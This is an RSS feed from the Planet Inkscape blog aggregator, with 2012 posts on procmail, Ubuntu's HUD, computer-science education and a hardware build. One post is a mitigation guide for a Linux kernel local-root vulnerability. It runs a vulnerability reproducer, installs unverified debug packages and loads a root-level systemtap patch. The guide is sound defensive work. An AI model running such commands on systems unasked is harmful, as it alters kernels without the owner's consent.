<?xml version="1.0"?>
<rdf:RDF
	xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:foaf="http://xmlns.com/foaf/0.1/"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns="http://purl.org/rss/1.0/"
>
<channel rdf:about="http://planet.inkscape.org">
	<title>Planet Inkscape</title>
	<link>http://planet.inkscape.org</link>
	<description>Planet Inkscape - http://planet.inkscape.org</description>

	<items>
		<rdf:Seq>
			<rdf:li rdf:resource="http://gould.cx/ted/blog/Procmail_vs_Launchpad" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-2097370696092004746.post-6764772215433824591" />
			<rdf:li rdf:resource="http://gould.cx/ted/blog/Searching_menus" />
			<rdf:li rdf:resource="http://www.outflux.net/blog/?p=562" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-8886586913086588952" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-91523466150752949" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8964583752416945383.post-6396668073150454745" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-2391936978262573510" />
			<rdf:li rdf:resource="http://www.outflux.net/blog/?p=548" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-1526116155048347674" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-6488574357402523052" />
			<rdf:li rdf:resource="http://rejon.org/?p=2513" />
			<rdf:li rdf:resource="http://gould.cx/ted/blog/You_dont_know_if_you_dont_measure" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-26721712825718281" />
			<rdf:li rdf:resource="http://www.outflux.net/blog/?p=539" />
			<rdf:li rdf:resource="http://www.outflux.net/blog/?p=534" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-2646503801378173180" />
			<rdf:li rdf:resource="http://rejon.org/?p=2511" />
			<rdf:li rdf:resource="http://www.outflux.net/blog/?p=527" />
			<rdf:li rdf:resource="http://www.outflux.net/blog/?p=522" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-5043907665916845002" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-6177536793936858394" />
			<rdf:li rdf:resource="http://simarilius.wordpress.com/2011/11/25/how-can-someone-get-it-so-wrong/" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8964583752416945383.post-4929933317958610938" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-2707627992258968876" />
			<rdf:li rdf:resource="http://rejon.org/?p=2503" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-3983719053392987971" />
			<rdf:li rdf:resource="http://www.outflux.net/blog/?p=518" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-4285248677162243740" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-5624931894956473194" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-4936336661383622491" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-4700526952041474426" />
			<rdf:li rdf:resource="http://rejon.org/?p=2500" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-3692807969750575816" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-6034732665284307375" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8964583752416945383.post-8084268764525179712" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-6794421768508027461" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-3443276706158972820" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-8311470015910367341" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-3421184843107572270" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-1948721165138881185" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-5821425998308831583" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-2760160325320449750" />
			<rdf:li rdf:resource="http://rejon.org/?p=2492" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-5360391251340367510" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-2639278353788772059" />
			<rdf:li rdf:resource="http://www.outflux.net/blog/?p=511" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-7325828611686354361" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-6876814588554883930" />
			<rdf:li rdf:resource="http://rejon.org/?p=2487" />
			<rdf:li rdf:resource="http://rejon.org/?p=2485" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-4127718075783675212" />
			<rdf:li rdf:resource="http://gould.cx/ted/blog/Calendar_to_Phone" />
			<rdf:li rdf:resource="http://rejon.org/?p=2481" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-8964583752416945383.post-1533760712924539243" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-4148422735008067082" />
			<rdf:li rdf:resource="http://rejon.org/?p=2464" />
			<rdf:li rdf:resource="http://rejon.org/?p=2462" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-735734413128461891" />
			<rdf:li rdf:resource="tag:blogger.com,1999:blog-1685560256628587439.post-3757277621311557504" />
		</rdf:Seq>
	</items>
</channel>

<item rdf:about="http://gould.cx/ted/blog/Procmail_vs_Launchpad">
	<title>Ted Gould: Procmail vs. Launchpad</title>
	<link>http://gould.cx/ted/blog/Procmail_vs_Launchpad</link>
	<content:encoded>&lt;p&gt;
&lt;a href=&quot;http://launchpad.net&quot;&gt;Launchpad&lt;/a&gt; users know that it can send quite a bit of e-mail.  Okay, a LOT of e-mail.  There has been effort on the Launchpad side of things to add &lt;a href=&quot;http://blog.launchpad.net/cool-new-stuff/better-bug-subscriptions&quot;&gt;controls to set the amount of Launchpad e-mail you get&lt;/a&gt;.  But for some of us, even getting the mail that you need results in a fair amount of Launchpad mail.  In playing with my procmail config for Launchpad mail I stumbled on this little feature that I love, and thought I'd share, as it's cleaned up my mail a lot.  The secret rule is:
&lt;/p&gt;
&lt;p&gt;
&lt;blockquote&gt;
&lt;pre&gt;
:0:
* ^X-launchpad-bug:.*product=\/[a-z0-9-]+
.Launchpad.Bugs.${MATCH}/
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/p&gt;
&lt;p&gt;
Quite simply that rule takes the project specifier on a bug mail, and uses it for the folder name that it puts the mail into.  This means each project gets it's own mail box, no matter what.  So even as you add groups or subscribe to new bugs, you just get new mail boxes.  Works for me.  Hope it helps other folks too.
&lt;/p&gt;
&lt;p&gt;
Comments: &lt;a href=&quot;http://identi.ca/notice/89839970&quot;&gt;Identi.ca&lt;/a&gt; | &lt;a href=&quot;https://twitter.com/#!/tedjgould/status/164744316483403776&quot;&gt;Twitter&lt;/a&gt;
&lt;/p&gt;</content:encoded>
	<dc:date>2012-02-01T16:19:00+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-2097370696092004746.post-6764772215433824591">
	<title>Jon Cruz: Back on Track</title>
	<link>http://codewideopen.blogspot.com/2012/01/back-on-track.html</link>
	<content:encoded>&lt;p&gt;After being bogged down with 'real life', I've finally managed to get things moving bak on track... so time to get back to the blogging. A lot has gone on, and is getting ready to happen. &lt;a href=&quot;http://linux.conf.au/&quot;&gt;Conferences&lt;/a&gt; &lt;a href=&quot;http://www.oscon.com/&quot;&gt;conferences&lt;/a&gt; &lt;a href=&quot;http://libregraphicsmeeting.org/&quot;&gt;conferences&lt;/a&gt; and more &lt;a href=&quot;http://www.socallinuxexpo.org/&quot;&gt;conferences&lt;/a&gt;, &lt;a href=&quot;http://twitpic.com/8cw3je&quot;&gt;hardware&lt;/a&gt;, Inkscape hacking, and more...
&lt;/p&gt;
&lt;span class=&quot;fullpost&quot;&gt;&lt;p&gt;We have a lot planned, and maybe something for most anyone. Inkscape has picked up a few more active contributors, and I've gotten progress on a few 'interesting' tweaks. Some seem just for fun, but others have good practical application. We're also trying to get together some more organized meetings, online and in person, so that will be good. Also look for more on the front to help promote Inkscape.&lt;/p&gt;
&lt;p&gt;Much went on at this past &lt;a&gt;linux.conf.au&lt;/a&gt;, with great people helping out and some really outstanding presentations going on. Bruce Perens had some &lt;a href=&quot;http://youtu.be/Uoum-DHO7S8&quot;&gt;very important things to say&lt;/a&gt;, and it looks to be very helpful. And I even had my &lt;a href=&quot;http://youtu.be/vmbvArpJ8Z8&quot;&gt;talk on logo design for developers&lt;/a&gt; make it up online. (There are more going up over time, and the mirrors should be getting ogg versions too.)&lt;/p&gt;
&lt;p&gt;Posts will show up highlighting things from linux.conf.au and SCALE10x shortly. There will even be a few photos here and there. Most importantly, though, is that things should get more and more active here, and posts should be quite regular now.&lt;/p&gt;
&lt;/span&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/2097370696092004746-6764772215433824591?l=codewideopen.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2012-02-01T00:21:39+00:00</dc:date>
</item>
<item rdf:about="http://gould.cx/ted/blog/Searching_menus">
	<title>Ted Gould: Searching Menus</title>
	<link>http://gould.cx/ted/blog/Searching_menus</link>
	<content:encoded>&lt;p&gt;
One of the neatest parts about starting to get more application data into the open is that we can start to use it in interesting ways.  I'm happy to talk about a new way that we're using the menu data: the HUD.  The &lt;a href=&quot;http://www.markshuttleworth.com/archives/939&quot;&gt;idea behind the HUD&lt;/a&gt; is that you can quickly find functionality in an application without having to know the menu structure.  But how does it do it?  How can you make it better?
&lt;/p&gt;
&lt;p&gt;
&lt;h3&gt;Getting the data&lt;/h3&gt;
&lt;/p&gt;
&lt;p&gt;
We're using the same &lt;a href=&quot;https://launchpad.net/dbusmenu&quot;&gt;Dbusmenu&lt;/a&gt; data that is currently exported to the global menu, just remixing it for search.  We are searching through the labels in the menu items which gives us already localized data straight from the application.  This means that it should work for the language that the application is in.  In the future we hope to use information like &lt;a href=&quot;https://code.launchpad.net/~themuso/dbusmenu/add-accessible-desc-property&quot;&gt;accessibility data&lt;/a&gt; as well as any tooltips that might be attached to a menuitem (though we don't show tooltips in the global menu).
&lt;/p&gt;
&lt;p&gt;
Any application that works with the &lt;a href=&quot;https://wiki.ubuntu.com/MenuBar#Window_menus&quot;&gt;window menus&lt;/a&gt; today should also work with HUD out of the box.
&lt;/p&gt;
&lt;p&gt;
&lt;h3&gt;Matching the label&lt;/h3&gt;
&lt;/p&gt;
&lt;p&gt;
To match the label we're basically using an implementation of the &lt;a href=&quot;http://en.wikipedia.org/wiki/Levenshtein_distance&quot;&gt;Levenshtein distance&lt;/a&gt; with a few additions.  What this allows us to do is rank possible solutions in a relevancy order, and present some solutions that might occur via &quot;fat finger&quot; or other similar type errors.  But, this also means that there is some fuzzy algorithms involved in the matching which will have to be tuned.
&lt;/p&gt;
&lt;p&gt;
We expect to tune them over the next few releases, and to do that we have a set of &lt;a href=&quot;http://bazaar.launchpad.net/~ted/indicator-appmenu/hud/view/head:/tests/test-distance.c&quot;&gt;test cases that we're using for the tuning&lt;/a&gt;.  The problem with those test cases?  They're only in the languages I speak.  You probably speak in more/different/better languages than I do, please feel free to propose merges that extend this test suite so that as we continue to tune the search algorithms we don't leave any language behind.
&lt;/p&gt;
&lt;p&gt;
&lt;h3&gt;Remembering Favorites&lt;/h3&gt;
&lt;/p&gt;
&lt;p&gt;
One of the additions that we add to the distance calculation is an offset based on which entries you've used most recently.  Your favorite functionality in the application.  Quite simply we're storing a list of items you've used over the last thirty days and a timestamp of when you used them.  This database is simple but it can be fun to look into for the curious and I wanted to talk a bit about a couple of the tools that you can use to see the data.
&lt;/p&gt;
&lt;p&gt;
&lt;pre&gt;
$ hud-list-applications
&lt;/pre&gt;
&lt;/p&gt;
&lt;p&gt;
This will list all the applications that have data on them in your HUD usage database.  They are identified by the path to their desktop file as determined by BAMF.  You can then look at the menu items used in a specific application:
&lt;/p&gt;
&lt;p&gt;
&lt;pre&gt;
$ hud-dump-application /usr/share/applications/inkscape.desktop 
&lt;/pre&gt;
&lt;/p&gt;
&lt;p&gt;
This shows the individual items that you've used, and the number of times that you've used them.  If you want to inspect the exact file tracking the data it is available at: &lt;pre&gt;~/.cache/indicator-appmenu/hud-usage-log.sqlite&lt;/pre&gt;
&lt;/p&gt;
&lt;p&gt;
While talking about various tools to work with HUD I thought I'd also mention that you can also, just for fun, work with HUD from the command line using the command line tool:
&lt;/p&gt;
&lt;p&gt;
&lt;pre&gt;
$ hud-cli
&lt;/pre&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;h3&gt;Application initial bias&lt;/h3&gt;
&lt;/p&gt;
&lt;p&gt;
Application designers have always had a problem figuring out how to promote specific functionality that is commonly used to the forefront, while still making the rest of the functionality easily available.  The most recent ways that they've done this is with &lt;a href=&quot;http://en.wikipedia.org/wiki/Toolbar&quot;&gt;toolbars&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/Ribbon_%28computing%29&quot;&gt;ribbon&lt;/a&gt; style.  You can't adjust the positioning even when you know that the particular toolbar isn't best for the user because it will mess up the user's spacial memory.  HUD sidesteps this issue by providing all the options, just promoting certain ones based on usage.  They're all in the same place (the HUD) but with always improving ordering.
&lt;/p&gt;
&lt;p&gt;
What happens on first usage of the application?  At that point we don't have any way to know what the user wants to do, we we've provide a way for the application designer to provide the most likely items for general users.  Effectively, this is the HUD's version of the default toolbar setup in an application; though it automatically decays and adjusts to the user's usage pattern.
&lt;/p&gt;
&lt;p&gt;
The files that control this initial bias are very simple and there is &lt;a href=&quot;http://bazaar.launchpad.net/~ted/indicator-appmenu/hud/view/head:/tests/good-app-info/tons-of-entries.hud-app-info&quot;&gt;an example&lt;/a&gt; in the test suite.  Basically they have the various menu items along with a value that describes how to preload the usage database.  A '5' there would mean that 5 entries are added to the usage database for that item on the first time that application is used; one for today and each of the four days previous.  In this way, as values drop off by being too old, there isn't a step function in how the item is ranked, it just slowly drops down in priority.  Application designers should start to think about how they would rank the menu items in their application, and start getting these integrated into either the releases or the packages of those applications so that users have a good first experience with their application.
&lt;/p&gt;
&lt;p&gt;
&lt;h3&gt;Development notes&lt;/h3&gt;
&lt;/p&gt;
&lt;p&gt;
The code for the HUD lives in the &lt;a href=&quot;https://launchpad.net/indicator-appmenu&quot;&gt;indicator-appmenu&lt;/a&gt; repository.  Currently it exists on a branch that needs to be reviewed before merging, but that shouldn't be for long.  I expect it to get merged to trunk in the next couple of weeks.
&lt;/p&gt;
&lt;p&gt;
After that the biggest change will be integration with indicator-appmenu.  It was originally implemented as it's own service to make development more agile, but it clearly shares a large amount of data with the global menu and there's no reason to have two repositories in memory of the same data.  It also needs to synchronize heavily with the application menu and BAMF, which is also already in indicator-appmenu.  Thanks to the magic of DBus no one should notice the change in processes as the names and objects will migrate over to the new process.
&lt;/p&gt;
&lt;p&gt;
As this is more of a first prototype there are also some missing features that need to be added.  The first of those is to simply improve the matching.  We also need to get better descriptions from application indicators, today we're using their accessibility description (you set those, right?) but that typically has too much information.  Lastly, we need to integrate better with applications that expect the about-to-show signal for their menus.  This includes XUL applications and some Qt ones, so it's an important feature for making the HUD usable for everyone.
&lt;/p&gt;
&lt;p&gt;
Merges and bugs should be directed towards the indicator-appmenu project and also make sure you've signed the &lt;a href=&quot;http://canonical.com/contributors&quot;&gt;Canonical Contributor Agreement&lt;/a&gt; for any code contributed.
&lt;/p&gt;
&lt;p&gt;
Comments: &lt;a href=&quot;http://identi.ca/notice/89143636&quot;&gt;Identi.ca&lt;/a&gt; | &lt;a href=&quot;https://twitter.com/#!/tedjgould/status/161813718706028544&quot;&gt;Twitter&lt;/a&gt;
&lt;/p&gt;</content:encoded>
	<dc:date>2012-01-24T14:15:00+00:00</dc:date>
</item>
<item rdf:about="http://www.outflux.net/blog/?p=562">
	<title>Kees Cook: fixing vulnerabilities with systemtap</title>
	<link>http://www.outflux.net/blog/archives/2012/01/22/fixing-vulnerabilities-with-systemtap/</link>
	<content:encoded>&lt;p&gt;Recently the upstream Linux kernel released a &lt;a href=&quot;http://git.kernel.org/linus/e268337dfe26dfc7efd422a804dbb27977a3cccc&quot;&gt;fix for a serious security vulnerability&lt;/a&gt; (CVE-2012-0056) without &lt;a href=&quot;http://oss-security.openwall.org/wiki/mailing-lists/distros&quot;&gt;coordinating with Linux distributions&lt;/a&gt;, leaving a window of vulnerability open for end users. Luckily:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;it is only a serious issue in 2.6.39 and later (e.g. Ubuntu 11.10 Oneiric)&lt;/li&gt;
&lt;li&gt;it is &amp;#8220;only&amp;#8221; local&lt;/li&gt;
&lt;li&gt;it requires execute access to a setuid program that generates output&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Still, it&amp;#8217;s a cross-architecture local root escalation on most common installations. Don&amp;#8217;t stop reading just because you don&amp;#8217;t have a local user base &amp;#8212; attackers can use this to elevate privileges from your user, or from the web server&amp;#8217;s user, etc.&lt;/p&gt;
&lt;p&gt;Since there is now a &lt;a href=&quot;http://blog.zx2c4.com/749&quot;&gt;nearly-complete walk-through&lt;/a&gt;, the urgency for fixing this is higher. While you&amp;#8217;re waiting for your distribution&amp;#8217;s kernel update, you can use &lt;a href=&quot;http://sourceware.org/systemtap/&quot;&gt;systemtap&lt;/a&gt; to change your kernel&amp;#8217;s running behavior. &lt;a href=&quot;https://access.redhat.com/kb/docs/DOC-69129&quot;&gt;RedHat suggested this&lt;/a&gt;, and here&amp;#8217;s how to do it in Debian and Ubuntu:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Download the &amp;#8220;am I vulnerable?&amp;#8221; tool, either from RedHat (above), or a &lt;a href=&quot;http://grsecurity.net/~spender/correct_proc_mem_reproducer.c&quot;&gt;more correct version&lt;/a&gt; from Brad Spengler.&lt;/li&gt;
&lt;li&gt;Check if you&amp;#8217;re vulnerable:
&lt;pre class=&quot;brush:shell&quot;&gt;
$ make correct_proc_mem_reproducer
...
$ ./correct_proc_mem_reproducer
vulnerable
&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Install the kernel debugging symbols (this is big &amp;#8212; over 2G installed on Ubuntu) and systemtap:
&lt;ul&gt;
&lt;li&gt;Debian:
&lt;pre class=&quot;brush:shell&quot;&gt;
# apt-get install -y systemtap linux-image-$(uname -r)-dbg
&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Ubuntu:
&lt;ul&gt;
&lt;li&gt;Add the &lt;a href=&quot;https://lists.ubuntu.com/archives/ubuntu-users/2010-October/229714.html&quot;&gt;debug package repository&lt;/a&gt; and key for your Ubuntu release:
&lt;pre class=&quot;brush:shell&quot;&gt;
$ sudo apt-get install -y lsb-release
$ echo &quot;deb http://ddebs.ubuntu.com/ $(lsb_release -cs) main restricted universe multiverse&quot; | \
      sudo tee -a /etc/apt/sources.list.d/ddebs.list
$ sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ECDCAD72428D7C01
$ sudo apt-get update
&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;(This step does not work since the repository metadata isn&amp;#8217;t updating correctly at the moment &amp;#8212; see the next step for how to do this manually.) Install the debug symbols for the kernel and install systemtap:
&lt;pre class=&quot;brush:shell&quot;&gt;
sudo apt-get install -y systemtap linux-image-$(uname -r)-dbgsym
&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;(Manual version of the above, skip if the above works for you. Note that this has no integrity checking, etc.)
&lt;pre class=&quot;brush:shell&quot;&gt;
$ sudo apt-get install -y systemtap dpkg-dev
$ wget http://ddebs.ubuntu.com/pool/main/l/linux/$(dpkg -l linux-image-$(uname -r) | grep ^ii | awk '{print $2 &quot;-dbgsym_&quot; $3}' | tail -n1)_$(dpkg-architecture -qDEB_HOST_ARCH).ddeb
$ sudo dpkg -i linux-image-$(uname -r)-dbgsym.ddeb
&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Create a systemtap script to block the mem_write function, and install it:
&lt;pre class=&quot;brush:shell&quot;&gt;
$ cat &gt; proc-pid-mem.stp &amp;lt;&amp;lt;'EOM'
probe kernel.function(&quot;mem_write@fs/proc/base.c&quot;).call {
        $count = 0
}
EOM
$ sudo stap -Fg proc-pid-mem.stp
&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Check that you&amp;#8217;re no longer vulnerable (until the next reboot):
&lt;pre class=&quot;brush:shell&quot;&gt;
$ ./correct_proc_mem_reproducer
not vulnerable
&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In this case, the systemtap script is changing the &lt;a href=&quot;http://lxr.linux.no/linux+v3.0/fs/proc/base.c#L887&quot;&gt;argument containing the size of the write&lt;/a&gt; to zero bytes (&lt;code&gt;$count = 0&lt;/code&gt;), which effectively closes this vulnerability.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; here&amp;#8217;s a systemtap script from Soren that doesn&amp;#8217;t require the full debug symbols. &lt;a href=&quot;http://outflux.net/software/shorts/stp/proc_pid_mem.stp&quot;&gt;Sneaky&lt;/a&gt;, put can be rather slow since it hooks all writes in the system. :)&lt;/p&gt;
&lt;p&gt;&amp;copy; 2012, &lt;a href=&quot;http://www.outflux.net/blog/&quot;&gt;Kees Cook&lt;/a&gt;. This work is licensed under a &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-sa/3.0/us/&quot;&gt;Creative Commons Attribution-ShareAlike 3.0 License&lt;/a&gt;.&lt;br /&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-sa/3.0/us/&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; src=&quot;http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png&quot; /&gt;&lt;/a&gt; &lt;/p&gt;</content:encoded>
	<dc:date>2012-01-22T23:22:47+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-8886586913086588952">
	<title>Gail Carmichael: You Will Fail to Have a Great Career — Unless...</title>
	<link>http://compscigail.blogspot.com/2012/01/you-will-fail-to-have-great-career.html</link>
	<content:encoded>Larry Smith told the TEDxUW (University of Waterloo) audience that they will fail to have a great career.&amp;nbsp; After all, there are ever so many excuses that crop up to justify why you can't follow your passion.&amp;nbsp; Alas, there is no such thing as a &quot;good&quot; career according to Larry, so if you try to settle for one, you'll just end up with one of those terrible, soul-sucking jobs.&amp;nbsp; Unless...&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;amp;lt;p&amp;amp;gt;&amp;amp;amp;amp;amp;lt;br&amp;amp;amp;amp;amp;gt;U&amp;amp;lt;/p&amp;amp;gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;(&lt;a href=&quot;http://www.youtube.com/watch?v=iKHTawgyKWQ&quot;&gt;video link&lt;/a&gt;)&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Unless.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-8886586913086588952?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2012-01-16T14:57:13+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-91523466150752949">
	<title>Gail Carmichael: Real Computer Science in High Schools</title>
	<link>http://compscigail.blogspot.com/2012/01/real-computer-science-in-high-schools.html</link>
	<content:encoded>As someone who is always looking for outreach opportunities with middle and high school students, I enjoyed The Guardian's recent article called &lt;a href=&quot;http://www.guardian.co.uk/politics/2012/jan/11/michael-gove-boring-it-lessons&quot;&gt;Michael Gove to scrap 'boring' IT lessons: Schools to be given freedom to run cutting-edge computer classes under plans for open source curriculum&lt;/a&gt;.&amp;nbsp; From the article:&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;In a speech, the education secretary will say the existing curriculum in Information and Communication Technology (ICT) has left children &quot;bored out of their minds being taught how to use Word and Excel by bored teachers&quot;. &lt;/blockquote&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;Instead he will, in effect, create an &quot;open source&quot; curriculum in computer science by giving &lt;a href=&quot;http://www.guardian.co.uk/education/schools&quot; title=&quot;More from guardian.co.uk on Schools&quot;&gt;schools&lt;/a&gt; the freedom to use teaching resources designed with input from leading employers and academics, in changes that will come into effect this September.&lt;/blockquote&gt;&lt;br /&gt;I interpreted the initiative to be similar to the &lt;a href=&quot;http://gailcarmichael.com/teaching/coursedesign/introforarts&quot;&gt;curriculum I designed&lt;/a&gt; for our department's elective introduction to computers class for arts and social science students.&amp;nbsp; That course, too, has traditionally been mostly about how to use Microsoft Office software.&amp;nbsp; My version covered that only briefly, focusing instead on computer science topics from programming in Scratch and searching and sorting algorithms all the way to human computer interaction.&amp;nbsp; Based on &lt;a href=&quot;http://gailcarmichael.com/teaching/feedback&quot;&gt;feedback&lt;/a&gt; from students and TA's, this was definitely a move in the right direction.&amp;nbsp; It's great to see similar changes happening in high schools.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-91523466150752949?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2012-01-13T13:13:22+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8964583752416945383.post-6396668073150454745">
	<title>Niko Kiirala: Soundbox — The construction</title>
	<link>http://fedev.blogspot.com/2012/01/soundbox-construction.html</link>
	<content:encoded>The Soundbox device I have built uses some construction techniques I want to share with you readers. I'm mainly talking about the enclosure and the texts on controls.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-mdpq8cI1szI/TwSlwXHVKRI/AAAAAAAAAOI/aSk3MJFqypo/s1600/2012-01-04+21.04.03.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://3.bp.blogspot.com/-mdpq8cI1szI/TwSlwXHVKRI/AAAAAAAAAOI/aSk3MJFqypo/s320/2012-01-04+21.04.03.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The enclosure itself is built from a simple box bought from a craft store. It was unfinished wooden box with two small hinges and a clasp to hold it closed. The lid and bottom parts were quite nicely suitable size for all the parts, I just needed to build the control panel inside this box.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-PMFFepbV0Z0/TwSl5vNxROI/AAAAAAAAAOQ/4YulpY-AE10/s1600/2012-01-04+21.13.40.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://3.bp.blogspot.com/-PMFFepbV0Z0/TwSl5vNxROI/AAAAAAAAAOQ/4YulpY-AE10/s320/2012-01-04+21.13.40.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The control panel is built from 4 mm plywood that I cut to the correct shape with a coping saw (not the best tool for the job, but that was what I happened to have at hand). Then I drilled the holes for the knobs and such. The speaker hole I cut with the coping saw. To keep the control panel in place, I glued some 9 × 9 mm wood bars to the inside of the box, 4 mm from the top of the bottom box so that the control panel will sit flush with the sides of the bottom part.&lt;br /&gt;&lt;br /&gt;After constructing the box, I removed the hinges and the clasp and painted the box and control panel with several (maybe four) layers of white spray paint. What surprised me was how much that stuff stinks — I had to keep the parts outdoors for a couple days after painting so that my room would not smell of solvents. The finished box had a distinct solvent smell for like a month after it was done.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-FiQuJI8XnQg/TwSmA1s-SPI/AAAAAAAAAOY/pnIUe5TdCuM/s1600/2011-06-30+23.05.20.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://1.bp.blogspot.com/-FiQuJI8XnQg/TwSmA1s-SPI/AAAAAAAAAOY/pnIUe5TdCuM/s320/2011-06-30+23.05.20.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The two main knobs — pitch and arpeggio — are of my own design. They're seven-sided knobs with friction fit for the usual 6 mm potentiometer axle. I created the model in &lt;a href=&quot;http://www.blender.org/&quot;&gt;Blender&lt;/a&gt; and ordered them from a 3D printing company called &lt;a href=&quot;http://www.shapeways.com/&quot;&gt;Shapeways&lt;/a&gt;. The design didn't work quite as intended 